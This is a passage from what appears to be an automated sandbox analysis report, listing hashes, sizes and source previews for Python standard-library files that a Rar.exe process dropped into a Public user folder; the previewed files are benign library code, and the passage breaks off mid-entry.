Preview:	#..# Secret Labs' Regular Expression Engine..#..# various symbols used by the regular expression engine...# run this script to update the _sre include files!..#..# Copyright (c) 1998-2001 by Secret Labs AB. All rights reserved...#..# See the sre.py file for information on usage and redistribution...#...."""Internal support module for sre"""....# update when constants are added or removed....MAGIC = 20171005....from _sre import MAXREPEAT, MAXGROUPS....# SRE standard exception (access as sre.error)..# should this really be here?....class error(Exception):.. """Exception raised for invalid regular expressions..... Attributes:.... msg: The unformatted error message.. pattern: The regular expression pattern.. pos: The index in the pattern where compilation failed (may be None).. lineno: The line corresponding to pos (may be None).. colno: The column corresponding to pos (may be None).. """.... __module__ = 're'.... def __init__(self, msg, p

C:\Users\Public\QExvbmVOb25l\Lib\sre_parse.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	41855
Entropy (8bit):	4.104634138762242
Encrypted:	false
SSDEEP:	768:21S5/1DRy/C5oZn9F3fckfWoCf2PXACJzXdQ1f3hBX5FEnRxzAgHNM3n7S4:21S5/1DQ/C5oZL3UkfWoCf2eE4
MD5:	D1AF43B8E4F286625A0144373CF0DE28
SHA1:	7FBD019519C5223D67311E51150595022D95FE86
SHA-256:	C029A310E36013ABC15610FF09A1E31D9FB1A0E4C60293150722C08FC9E7B090
SHA-512:	75AB3B5A2AAD2AC44AB63028982A94BB718AAF6C67F6B59A8EDC8C2C49287DD16667923E1889C68404053D61DF742864A6E85545BBFB17624A5844BB049767F9
Malicious:	false
Reputation:	low
Preview:	#..# Secret Labs' Regular Expression Engine..#..# convert re-style regular expression to sre pattern..#..# Copyright (c) 1998-2001 by Secret Labs AB. All rights reserved...#..# See the sre.py file for information on usage and redistribution...#...."""Internal support module for sre"""....# XXX: show string offset and offending character for all errors....from sre_constants import ....SPECIAL_CHARS = ".\\[{()+?^$\|"..REPEAT_CHARS = "*+?{"....DIGITS = frozenset("0123456789")....OCTDIGITS = frozenset("01234567")..HEXDIGITS = frozenset("0123456789abcdefABCDEF")..ASCIILETTERS = frozenset("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ")....WHITESPACE = frozenset(" \t\n\r\v\f")...._REPEATCODES = frozenset({MIN_REPEAT, MAX_REPEAT}).._UNITCODES = frozenset({ANY, RANGE, IN, LITERAL, NOT_LITERAL, CATEGORY})....ESCAPES = {.. r"\a": (LITERAL, ord("\a")),.. r"\b": (LITERAL, ord("\b")),.. r"\f": (LITERAL, ord("\f")),.. r"\n": (LITERAL, ord("\n")),.. r"\r": (LITERAL, ord("\r"))

C:\Users\Public\QExvbmVOb25l\Lib\ssl.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	53651
Entropy (8bit):	4.77575452147837
Encrypted:	false
SSDEEP:	768:tMVe9UvCPKK444abg7+0MkQMj1MnCXA+Y629sc7F4l0:WVuHPKKYabOM2MnCw+YFJ7F4a
MD5:	571E6D3BD2027FAD1078DEE641CC5943
SHA1:	599F7505020E6F09E39067C5DD7D4A90D4FCD446
SHA-256:	A2558EFEF465228296EE4507D49605BE195FEB557CD30BAC2ED551B59E701EA7
SHA-512:	D27F64F43E8414648A984CC5BB6E59FAC93C8E1F3E3BF06CA3B8418FAC1BA44479B1509262AA712C180D590027EC318FEE8E05D5F503F30DE8BA0A0841DC8942
Malicious:	false
Reputation:	low
Preview:	# Wrapper module for _ssl, providing some additional facilities..# implemented in Python. Written by Bill Janssen....."""This module provides some more Pythonic support for SSL.....Object types:.... SSLSocket -- subtype of socket.socket which does SSL over the socket....Exceptions:.... SSLError -- exception raised for I/O errors....Functions:.... cert_time_to_seconds -- convert time string used for certificate.. notBefore and notAfter functions to integer.. seconds past the Epoch (the time values.. returned from time.time()).... get_server_certificate (addr, ssl_version, ca_certs, timeout) -- Retrieve the.. certificate from the server at the specified.. address and return it as a PEM-encoded string......Integer constants:....SSL_ERROR_ZERO_RETURN..SSL_ERROR_WANT_READ..SSL_ERROR_WANT_WRITE..SSL_ERROR_WANT_X509_LOOKUP..SSL_ERROR_SYSCALL..SSL_ERROR_SSL..SSL_ERR

C:\Users\Public\QExvbmVOb25l\Lib\stat.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	5680
Entropy (8bit):	5.1523236470837945
Encrypted:	false
SSDEEP:	96:btQUzIkdY5TVIU5zY553qt50eS52AY5LAx5UztU5ws45lz45R7J8nkwg3GCgt8Tn:ZB7dkV3YHqoeFAQAczDsQzmt8oW8TDHj
MD5:	7A7143CBE739708CE5868F02CD7DE262
SHA1:	E915795B49B849E748CDBD8667C9C89FCDFF7BAF
SHA-256:	E514FD41E2933DD1F06BE315FB42A62E67B33D04571435A4815A18F490E0F6CE
SHA-512:	7ECF6AC740B734D26D256FDE2608375143C65608934AA51DF7AF34A1EE22603A790ADC5B3D67D6944BA40F6F41064FA4D6957E000DE441D99203755820E34D53
Malicious:	false
Reputation:	low
Preview:	"""Constants/functions for interpreting results of os.stat() and os.lstat().....Suggested usage: from stat import *.."""....# Indices for stat struct members in the tuple returned by os.stat()....ST_MODE = 0..ST_INO = 1..ST_DEV = 2..ST_NLINK = 3..ST_UID = 4..ST_GID = 5..ST_SIZE = 6..ST_ATIME = 7..ST_MTIME = 8..ST_CTIME = 9....# Extract bits from the mode....def S_IMODE(mode):.. """Return the portion of the file's mode that can be set by.. os.chmod()... """.. return mode & 0o7777....def S_IFMT(mode):.. """Return the portion of the file's mode that describes the.. file type... """.. return mode & 0o170000....# Constants used as S_IFMT() for various file types..# (not all are implemented on all systems)....S_IFDIR = 0o040000 # directory..S_IFCHR = 0o020000 # character device..S_IFBLK = 0o060000 # block device..S_IFREG = 0o100000 # regular file..S_IFIFO = 0o010000 # fifo (named pipe)..S_IFLNK = 0o120000 # symbolic link..S_IFSOCK = 0o140000 # s

C:\Users\Public\QExvbmVOb25l\Lib\statistics.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, Unicode text, UTF-8 text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	44478
Entropy (8bit):	4.826888827291007
Encrypted:	false
SSDEEP:	768:ezttzGzMBgrEiMuqIkrWIq/0MIR9z5zjw1mTH0+8H0xAEVPCy:extqAYFHl/fu9lgmTU1HeAU
MD5:	4969BE7A4BD3A7D14413A54CCFC36806
SHA1:	696C43BD013708A58C401CC25BE4F2565C910E97
SHA-256:	AAF6547A24B49197A95977E128EE4EC8F8E8F03498059FB4AE826A036C9B0C7A
SHA-512:	1E5ED30CC795A331F25390D03019374D9BC9650F1F8339507260771E204884651F2982597EC88CC2F0A1F33AF649AE44B6720E4953FA0D2F33E288883F5376BF
Malicious:	false
Reputation:	low
Preview:	"""..Basic statistics module.....This module provides functions for calculating statistics of data, including..averages, variance, and standard deviation.....Calculating averages..--------------------....================== ==================================================..Function Description..================== ==================================================..mean Arithmetic mean (average) of data...fmean Fast, floating point arithmetic mean...geometric_mean Geometric mean of data...harmonic_mean Harmonic mean of data...median Median (middle value) of data...median_low Low median of data...median_high High median of data...median_grouped Median, or 50th percentile, of grouped data...mode Mode (most common value) of data...multimode List of modes (most common values of data)...quantiles Divide data into intervals with equal probability...================== ==

C:\Users\Public\QExvbmVOb25l\Lib\string.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	10846
Entropy (8bit):	4.509064552074567
Encrypted:	false
SSDEEP:	192:NeRTSYTE9F7CE3WCLi9S/j/8RNnGPu+2MZKqhMohlPbokGJ2A7u6VOC:NeRTSYTE9oNCLeS/j/8TG2+2MZKqhMoC
MD5:	CB7C76D92FE77FCEB57279A18AFDB96E
SHA1:	BC102311785E8912AFDE553CAD6C54A92EA68051
SHA-256:	34B846AE1458673B9A9026E6300FF0947DD1B3DC374BDD1D126518D8D1A528B2
SHA-512:	7785AFAEA59CC3F86F590923C1416832C8AADCCB67A589074B8811BA1260257ABF3E8D5BF386F9296E4C31D8E69C2886D411D313EB2E4BCDCDE794C83A4C3480
Malicious:	false
Reputation:	low
Preview:	"""A collection of string constants.....Public module variables:....whitespace -- a string containing all ASCII whitespace..ascii_lowercase -- a string containing all ASCII lowercase letters..ascii_uppercase -- a string containing all ASCII uppercase letters..ascii_letters -- a string containing all ASCII letters..digits -- a string containing all ASCII decimal digits..hexdigits -- a string containing all ASCII hexadecimal digits..octdigits -- a string containing all ASCII octal digits..punctuation -- a string containing all ASCII punctuation characters..printable -- a string containing all ASCII characters considered printable...."""....__all__ = ["ascii_letters", "ascii_lowercase", "ascii_uppercase", "capwords",.. "digits", "hexdigits", "octdigits", "printable", "punctuation",.. "whitespace", "Formatter", "Template"]....import _string....# Some strings for ctype-style character classification..whitespace = ' \t\n\r\v\f'..ascii_lowercase = 'abcdefghijklmnopqrstuvwx

C:\Users\Public\QExvbmVOb25l\Lib\stringprep.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	13189
Entropy (8bit):	4.91396520579551
Encrypted:	false
SSDEEP:	384:uqbH8M915eiV4fTpjgLPXEj7w6NraVKt+oKVcXRn:uwnMaLPIN+VKtWKn
MD5:	7A4A0BE66939C3F2E62531A37F6B60E1
SHA1:	A4E0BE0F314B738F9ACE2698BF5B7910A9B4A1A5
SHA-256:	FE08A5C09B78E5037F7CCB95B9014C5F4CC2B3968C9001F321D4788E0ADB45EB
SHA-512:	DF83633E7F827D909426B58AADD9AD5664BAB4787119F005C25A7659E28BC8D2834CAD7B3CF0BE011D3AD6F30129FF724D5C40601ED50B9F4C94B2635875B226
Malicious:	false
Reputation:	low
Preview:	# This file is generated by mkstringprep.py. DO NOT EDIT..."""Library that exposes various tables found in the StringPrep RFC 3454.....There are two kinds of tables: sets, for which a member test is provided,..and mappings, for which a mapping function is provided..."""....from unicodedata import ucd_3_2_0 as unicodedata....assert unicodedata.unidata_version == '3.2.0'....def in_table_a1(code):.. if unicodedata.category(code) != 'Cn': return False.. c = ord(code).. if 0xFDD0 <= c < 0xFDF0: return False.. return (c & 0xFFFF) not in (0xFFFE, 0xFFFF)......b1_set = set([173, 847, 6150, 6155, 6156, 6157, 8203, 8204, 8205, 8288, 65279] + list(range(65024,65040)))..def in_table_b1(code):.. return ord(code) in b1_set......b3_exceptions = {..0xb5:'\u03bc', 0xdf:'ss', 0x130:'i\u0307', 0x149:'\u02bcn',..0x17f:'s', 0x1f0:'j\u030c', 0x345:'\u03b9', 0x37a:' \u03b9',..0x390:'\u03b9\u0308\u0301', 0x3b0:'\u03c5\u0308\u0301', 0x3c2:'\u03c3', 0x3d0:'\u03b2',..0x3d1:'\u03b8', 0x3d2:'\u03c5'

C:\Users\Public\QExvbmVOb25l\Lib\struct.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	272
Entropy (8bit):	4.3743352648582725
Encrypted:	false
SSDEEP:	6:UoPb5ThvOC3hvOuFimWA7la//1SITIFIjrWVZFIpdOv:UoDhECUno7YlSIEFIfWV7IpdA
MD5:	5B6FAB07BA094054E76C7926315C12DB
SHA1:	74C5B714160559E571A11EA74FEB520B38231BC9
SHA-256:	EADBCC540C3B6496E52449E712ECA3694E31E1D935AF0F1E26CFF0E3CC370945
SHA-512:	2846E8C449479B1C64D39117019609E5A6EA8030220CAC7B5EC6B4090C9AA7156ED5FCD5E54D7175A461CD0D58BA1655757049B0BCE404800BA70A2F1E12F78C
Malicious:	false
Reputation:	low
Preview:	__all__ = [.. # Functions.. 'calcsize', 'pack', 'pack_into', 'unpack', 'unpack_from',.. 'iter_unpack',.... # Classes.. 'Struct',.... # Exceptions.. 'error'.. ]....from _struct import *..from _struct import _clearcache..from _struct import __doc__..

C:\Users\Public\QExvbmVOb25l\Lib\subprocess.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	87039
Entropy (8bit):	4.253206816074236
Encrypted:	false
SSDEEP:	1536:wx7t9c+p5IVwdFML1ikqz9lXochlqYI5a3pfZ5KL6Wv090Gj5h7qoHn7DZ0Mv2c4:wx7t++p5IVwdaL10mOw
MD5:	AF21269C65819E2BECB701BD9AD0A113
SHA1:	8176B2711C75E33782AB317BEECA21432D12C21A
SHA-256:	863B6A9C34C5E7E0FF98693A86868B99C1D06156D3113393DB0620602166413D
SHA-512:	70C108146CF6BC6233C3B05637B112EE158CC51E5156A6377682A5FAFAC836BEE74E09EC7EBC907CD0D6FEB1AA17B1D44BCFC427E8CD6387A488C4C4DBA5D8BC
Malicious:	false
Reputation:	low
Preview:	# subprocess - Subprocesses with accessible I/O streams..#..# For more information about this module, see PEP 324...#..# Copyright (c) 2003-2005 by Peter Astrand <astrand@lysator.liu.se>..#..# Licensed to PSF under a Contributor Agreement.....r"""Subprocesses with accessible I/O streams....This module allows you to spawn processes, connect to their..input/output/error pipes, and obtain their return codes.....For a complete description of this module see the Python documentation.....Main API..========..run(...): Runs a command, waits for it to complete, then returns a.. CompletedProcess instance...Popen(...): A class for flexibly executing a command in a new process....Constants..---------..DEVNULL: Special value that indicates that os.devnull should be used..PIPE: Special value that indicates a pipe should be created..STDOUT: Special value that indicates that stderr should go to stdout......Older API..=========..call(...): Runs a command, waits for it to complete, then ret

C:\Users\Public\QExvbmVOb25l\Lib\sunau.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	18684
Entropy (8bit):	4.553056496643947
Encrypted:	false
SSDEEP:	192:xoVIiMydyelw/k/TyMRDdzlDGgGoBVb/yY/BFex0lAvl/yCyg+YdM0ccWeUPG:xojMUyey/UQloreY/exMAvoXWWK
MD5:	9494A603999DDED928C7CE75204B4550
SHA1:	67D6248D2265153FDF3AB20999D7955D7585DE2C
SHA-256:	2471854C4EEE8C0FDC7E0AB7B2583CE9CBF0A22804EF3B4369DE1DD6623F4228
SHA-512:	36279D7C7E0B85092333A3BB7C2843E4C593ED265536C5C87B9A777C1A34B6795B54B1657EB26541344A2BB736C78C1209B974D13959DC9C2311F00F7365940F
Malicious:	false
Reputation:	low
Preview:	"""Stuff to parse Sun and NeXT audio files.....An audio file consists of a header followed by the data. The structure..of the header is as follows..... +---------------+.. \| magic word \|.. +---------------+.. \| header size \|.. +---------------+.. \| data size \|.. +---------------+.. \| encoding \|.. +---------------+.. \| sample rate \|.. +---------------+.. \| # of channels \|.. +---------------+.. \| info \|.. \| \|.. +---------------+....The magic word consists of the 4 characters '.snd'. Apart from the..info field, all header fields are 4 bytes in size. They are all..32-bit unsigned integers encoded in big-endian byte order.....The header size really gives the start of the data...The data size is the physical size of the data. From the other..parameters the number of frames can be calculated...The encoding gives the way in which audio sampl

C:\Users\Public\QExvbmVOb25l\Lib\symtable.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	10539
Entropy (8bit):	4.558490188936937
Encrypted:	false
SSDEEP:	192:t+Ra9lq8SLJMqIQ6Eddu1Hgjo+SAKgepQ80:G78SLJ3IQ6E3cgKgepw
MD5:	5E670049729E2B3C00DB6146DF365B42
SHA1:	5F3C42EF566DFC4B298D1C6DE9BDA00D3A1C6CF9
SHA-256:	771739EE612604D938FAF47967BCA20353E04A34537C7F70263336CEC035EC89
SHA-512:	BFDE47732F4A7D3DF94D3F68C7B77EBF2E26DC41E8537969EE2F22F5FB09CB405BF5364E9C292CF43C54CF420723F62DA9A38FA4EDC2CEC5935FCE0AF91E4EFD
Malicious:	false
Reputation:	low
Preview:	"""Interface to the compiler's internal symbol tables"""....import _symtable..from _symtable import (USE, DEF_GLOBAL, DEF_NONLOCAL, DEF_LOCAL, DEF_PARAM,.. DEF_IMPORT, DEF_BOUND, DEF_ANNOT, SCOPE_OFF, SCOPE_MASK, FREE,.. LOCAL, GLOBAL_IMPLICIT, GLOBAL_EXPLICIT, CELL)....import weakref....__all__ = ["symtable", "SymbolTable", "Class", "Function", "Symbol"]....def symtable(code, filename, compile_type):.. """ Return the toplevel SymbolTable for the source code..... filename is the name of the file with the code.. and compile_type is the compile() mode argument... """.. top = _symtable.symtable(code, filename, compile_type).. return _newSymbolTable(top, filename)....class SymbolTableFactory:.. def __init__(self):.. self.__memo = weakref.WeakValueDictionary().... def new(self, table, filename):.. if table.type == _symtable.TYPE_FUNCTION:.. return Function(table, filename).. if table.type == _symtable.TYPE_CLASS:..

C:\Users\Public\QExvbmVOb25l\Lib\sysconfig.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	28412
Entropy (8bit):	4.809738101386029
Encrypted:	false
SSDEEP:	768:3Ez1dTpS7mmxofRw2GTUPbA+vRaPc35PdmOq61uc7g:3EzTmxofSevrPdTR7g
MD5:	3C7466218544AA3B78754297FBE0A362
SHA1:	879CFAAB401C08552198FAADF5E93A6D907CDAC3
SHA-256:	BF6878D23532A73D8CCE030C9FFD27CE5606A7AB37F6CE0868D45078303A3D88
SHA-512:	1C5AA6E5EA8B3C88EC3A96DD1025EECAB58A073A6170E36885D96127148694B8E49AE29282A0ADB96E9AED5D65C450917202E19E714325E28A3C1E89BF8FF74F
Malicious:	false
Reputation:	low
Preview:	"""Access to Python's configuration information."""....import os..import sys..from os.path import pardir, realpath....__all__ = [.. 'get_config_h_filename',.. 'get_config_var',.. 'get_config_vars',.. 'get_makefile_filename',.. 'get_path',.. 'get_path_names',.. 'get_paths',.. 'get_platform',.. 'get_python_version',.. 'get_scheme_names',.. 'parse_config_h',..]....# Keys for get_config_var() that are never converted to Python integers..._ALWAYS_STR = {.. 'MACOSX_DEPLOYMENT_TARGET',..}...._INSTALL_SCHEMES = {.. 'posix_prefix': {.. 'stdlib': '{installed_base}/{platlibdir}/python{py_version_short}',.. 'platstdlib': '{platbase}/{platlibdir}/python{py_version_short}',.. 'purelib': '{base}/lib/python{py_version_short}/site-packages',.. 'platlib': '{platbase}/{platlibdir}/python{py_version_short}/site-packages',.. 'include':.. '{installed_base}/include/python{py_version_short}{abiflags}',.. 'platinclude':

C:\Users\Public\QExvbmVOb25l\Lib\tabnanny.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	11630
Entropy (8bit):	4.476146454696836
Encrypted:	false
SSDEEP:	192:2Ptt0X5MiaVbSI5LmOLNzFhFI9NSHvc4n4+FAhBhNSkpyPqP1P+FMC6nMqx0:1X5M9lNBLNzFhFIjSHvc4n4+FAhFJ0Pn
MD5:	D4EDAFFB57B5F7E6951E736CF97593C5
SHA1:	41FFCFBF3E0EFBCC5B9F8F1036750EFE5935E532
SHA-256:	2BC9219A65A25D5A5A9C602E34EB30E57AA92C0E1E5F88810B385B5671287563
SHA-512:	21C2770812D98D0E6E0E28F867BBC304409AA7B56D4EA3F7B6B6795011AD38E9D31B685B6C148D0DC9D986E052E34F3D2E02D9A4E55AB27E728C3B6725D2CDC3
Malicious:	false
Reputation:	low
Preview:	#! /usr/bin/env python3...."""The Tab Nanny despises ambiguous indentation. She knows no mercy.....tabnanny -- Detection of ambiguous indentation....For the time being this module is intended to be called as a script...However it is possible to import it into an IDE and use the function..check() described below.....Warning: The API provided by this module is likely to change in future..releases; such changes may not be backward compatible..."""....# Released to the public domain, by Tim Peters, 15 April 1998.....# XXX Note: this is now a standard library module...# XXX The API needs to undergo changes however; the current code is too..# XXX script-like. This will be addressed later.....__version__ = "6"....import os..import sys..import tokenize....__all__ = ["check", "NannyNag", "process_tokens"]....verbose = 0..filename_only = 0....def errprint(*args):.. sep = "".. for arg in args:.. sys.stderr.write(sep + str(arg)).. sep = " ".. sys.stderr.write("\n")....def

C:\Users\Public\QExvbmVOb25l\Lib\tarfile.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	98505
Entropy (8bit):	4.4936859498516855
Encrypted:	false
SSDEEP:	768:AemBoIoCvKP1bdtZdRcPe4Z1PEJAsI28bVqMLsiz+eG+4:mBoIyP1ZtT2P4I28b7Lsizpp4
MD5:	AFF6CDD5D1BF1F5D762722A8F2DE3682
SHA1:	9240104EF5E5A3CAD532EDB48F5284888303C582
SHA-256:	C64E0E9D426B82809A815277D43169CB1EEA2F9C95A954C9E5CDD666EC00783E
SHA-512:	2A09F0103A1CAA6AB108F27411CC3689A691B2021F891BBB1F71219C41986799BEB90902C5E83F6DB0226497AD5B4C0DFDEEA919BC4BE3F3ACF342C4B3C3CCB7
Malicious:	false
Reputation:	low
Preview:	#!/usr/bin/env python3..#-------------------------------------------------------------------..# tarfile.py..#-------------------------------------------------------------------..# Copyright (C) 2002 Lars Gustaebel <lars@gustaebel.de>..# All rights reserved...#..# Permission is hereby granted, free of charge, to any person..# obtaining a copy of this software and associated documentation..# files (the "Software"), to deal in the Software without..# restriction, including without limitation the rights to use,..# copy, modify, merge, publish, distribute, sublicense, and/or sell..# copies of the Software, and to permit persons to whom the..# Software is furnished to do so, subject to the following..# conditions:..#..# The above copyright notice and this permission notice shall be..# included in all copies or substantial portions of the Software...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDI

C:\Users\Public\QExvbmVOb25l\Lib\telnetlib.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	23931
Entropy (8bit):	4.513930532086154
Encrypted:	false
SSDEEP:	384:DyI08SF0rbykUKUIVl0RPB5Z9FrpvPsgeN9KOX2A4bVWVn:WASF0rukgI70RPB5Z9FrpvPsjN9Kw
MD5:	EB3B08FCEA31D18D33A07BD207D58138
SHA1:	F46BCA2B1F77A220229D678E0C134FE4E89BF0D7
SHA-256:	25012B9A5584CB996866A80A7A94BAF9BDC7567213561648DE7CA47D9F82B5D5
SHA-512:	4F673E37B236492F843384C693C8A37A13D8B72EEC107A9AD7218238A330B5824093D78E6A96B20952F2CE1F3F6939F311992D71095D7BBB8E47679199C6CCA9
Malicious:	false
Reputation:	low
Preview:	r"""TELNET client class.....Based on RFC 854: TELNET Protocol Specification, by J. Postel and..J. Reynolds....Example:....>>> from telnetlib import Telnet..>>> tn = Telnet('www.python.org', 79) # connect to finger port..>>> tn.write(b'guido\r\n')..>>> print(tn.read_all())..Login Name TTY Idle When Where..guido Guido van Rossum pts/2 <Dec 2 11:10> snag.cnri.reston......>>>....Note that read_all() won't read until eof -- it just reads some data..-- but it guarantees to read at least one byte unless EOF is hit.....It is possible to pass a Telnet object to a selector in order to wait until..more data is available. Note that in this case, read_eager() may return b''..even if there was data on the socket, because the protocol negotiation may have..eaten the data. This is why EOFError is needed in some cases to distinguish..between "no data" and "connection closed" (since the socket also appears ready..for reading when it is closed).....To

C:\Users\Public\QExvbmVOb25l\Lib\tempfile.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	30059
Entropy (8bit):	4.458883871447617
Encrypted:	false
SSDEEP:	384:BNed/ue7EK/MBSxddEMDprcpdkddEJJS736fv1+N+l/zT:bed/uYE6M0xbEMDpopEuJJSefvkmT
MD5:	ADF281376FF2C17FE5648DAB3FF70635
SHA1:	9021298C6718C800AC40C08798DB4C5ECF254E93
SHA-256:	068FE9CF767803038445D0907CAA1012B7BEBA34125A59E5DBA6D29C3EBE0FE1
SHA-512:	98690E8B7E89ECEB5DC1DDAD07BF60B9BCD167D99545755E26AC8C12F0D01A023CBA2B20559C4D79CB16BFFACE0DA538D116AD219C83745FB6EA153E79A520A6
Malicious:	false
Reputation:	low
Preview:	"""Temporary files.....This module provides generic, low- and high-level interfaces for..creating temporary files and directories. All of the interfaces..provided by this module can be used without fear of race conditions..except for 'mktemp'. 'mktemp' is subject to race conditions and..should not be used; it is provided for backward compatibility only.....The default path names are returned as str. If you supply bytes as..input, all return values will be in bytes. Ex:.... >>> tempfile.mkstemp().. (4, '/tmp/tmptpu9nin8').. >>> tempfile.mkdtemp(suffix=b'').. b'/tmp/tmppbi8f0hy'....This module also provides some data items to the user:.... TMP_MAX - maximum number of names that will be tried before.. giving up... tempdir - If this is set to a string before the first use of.. any routine from this module, it will be considered as.. another candidate location to store temporary files..."""....__all__ = [.. "NamedTemporaryFile", "Te

C:\Users\Public\QExvbmVOb25l\Lib\textwrap.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	20266
Entropy (8bit):	4.4470622302172105
Encrypted:	false
SSDEEP:	384:6jYFj/VIYzSu/AdorlSNMNt/KhV0q1uJN7J6CJap:6jYFj/bDAdWFOUNcC0p
MD5:	23A46648FFEC2BE524DEA36472771AFA
SHA1:	68BFBEE2540F7937B9C46EC5CF00D25539151019
SHA-256:	288D890D5440F4536EA74E75284C89931ECEF9D74D9033E8E9FA772C78789623
SHA-512:	70D95896F89DFFD2895240E38B771D8AB615EAE956979AC17DC5F4DA17CBA1898D83B2FB01DC4408426C3D0B9188916BD1138B4D8111070851EA2743E857423E
Malicious:	false
Reputation:	low
Preview:	"""Text wrapping and filling..."""....# Copyright (C) 1999-2001 Gregory P. Ward...# Copyright (C) 2002, 2003 Python Software Foundation...# Written by Greg Ward <gward@python.net>....import re....__all__ = ['TextWrapper', 'wrap', 'fill', 'dedent', 'indent', 'shorten']....# Hardcode the recognized whitespace characters to the US-ASCII..# whitespace characters. The main reason for doing this is that..# some Unicode spaces (like \u00a0) are non-breaking whitespaces..._whitespace = '\t\n\x0b\x0c\r '....class TextWrapper:.. """.. Object for wrapping/filling text. The public interface consists of.. the wrap() and fill() methods; the other methods are just there for.. subclasses to override in order to tweak the default behaviour... If you want to completely replace the main wrapping algorithm,.. you'll probably have to override _wrap_chunks()..... Several instance attributes control various aspects of wrapping:.. width (default: 70).. the maximum width of w

C:\Users\Public\QExvbmVOb25l\Lib\this.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.7762509461988625
Encrypted:	false
SSDEEP:	24:b9G79+7q737Kv7Vm7QXUJRfDDFWnLmjoOLSFDuCSy176Pff2fdgmsG0Fm:k79+7q737s7A7QXG93COWVB76HsdnsGx
MD5:	92F4A7B0A22F593C8BDF429CAC3D4589
SHA1:	958CCB19110A69ED6595B5F16C768CA73A85C469
SHA-256:	5A89B1A1F22384960E69C554633A98558231F11A48260952EBFC21CA10F0625C
SHA-512:	2E0A0118BE0F4B309E6286E8015FFE0885181A77B485BA39E528638757D59ADB2F15F9F2ACC04DE31794357556DD5CC622EC8D6526604CE6F3F8520C2B64D925
Malicious:	false
Reputation:	low
Preview:	s = """Gur Mra bs Clguba, ol Gvz Crgref....Ornhgvshy vf orggre guna htyl...Rkcyvpvg vf orggre guna vzcyvpvg...Fvzcyr vf orggre guna pbzcyrk...Pbzcyrk vf orggre guna pbzcyvpngrq...Syng vf orggre guna arfgrq...Fcnefr vf orggre guna qrafr...Ernqnovyvgl pbhagf...Fcrpvny pnfrf nera'g fcrpvny rabhtu gb oernx gur ehyrf...Nygubhtu cenpgvpnyvgl orngf chevgl...Reebef fubhyq arire cnff fvyragyl...Hayrff rkcyvpvgyl fvyraprq...Va gur snpr bs nzovthvgl, ershfr gur grzcgngvba gb thrff...Gurer fubhyq or bar-- naq cersrenoyl bayl bar --boivbhf jnl gb qb vg...Nygubhtu gung jnl znl abg or boivbhf ng svefg hayrff lbh'er Qhgpu...Abj vf orggre guna arire...Nygubhtu arire vf bsgra orggre guna evtug abj...Vs gur vzcyrzragngvba vf uneq gb rkcynva, vg'f n onq vqrn...Vs gur vzcyrzragngvba vf rnfl gb rkcynva, vg znl or n tbbq vqrn...Anzrfcnprf ner bar ubaxvat terng vqrn -- yrg'f qb zber bs gubfr!"""....d = {}..for c in (65, 97):.. for i in range(26):.. d[chr(i+c)] = chr((i+13) % 26 + c)....print("".jo

C:\Users\Public\QExvbmVOb25l\Lib\threading.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	58845
Entropy (8bit):	4.40732639245589
Encrypted:	false
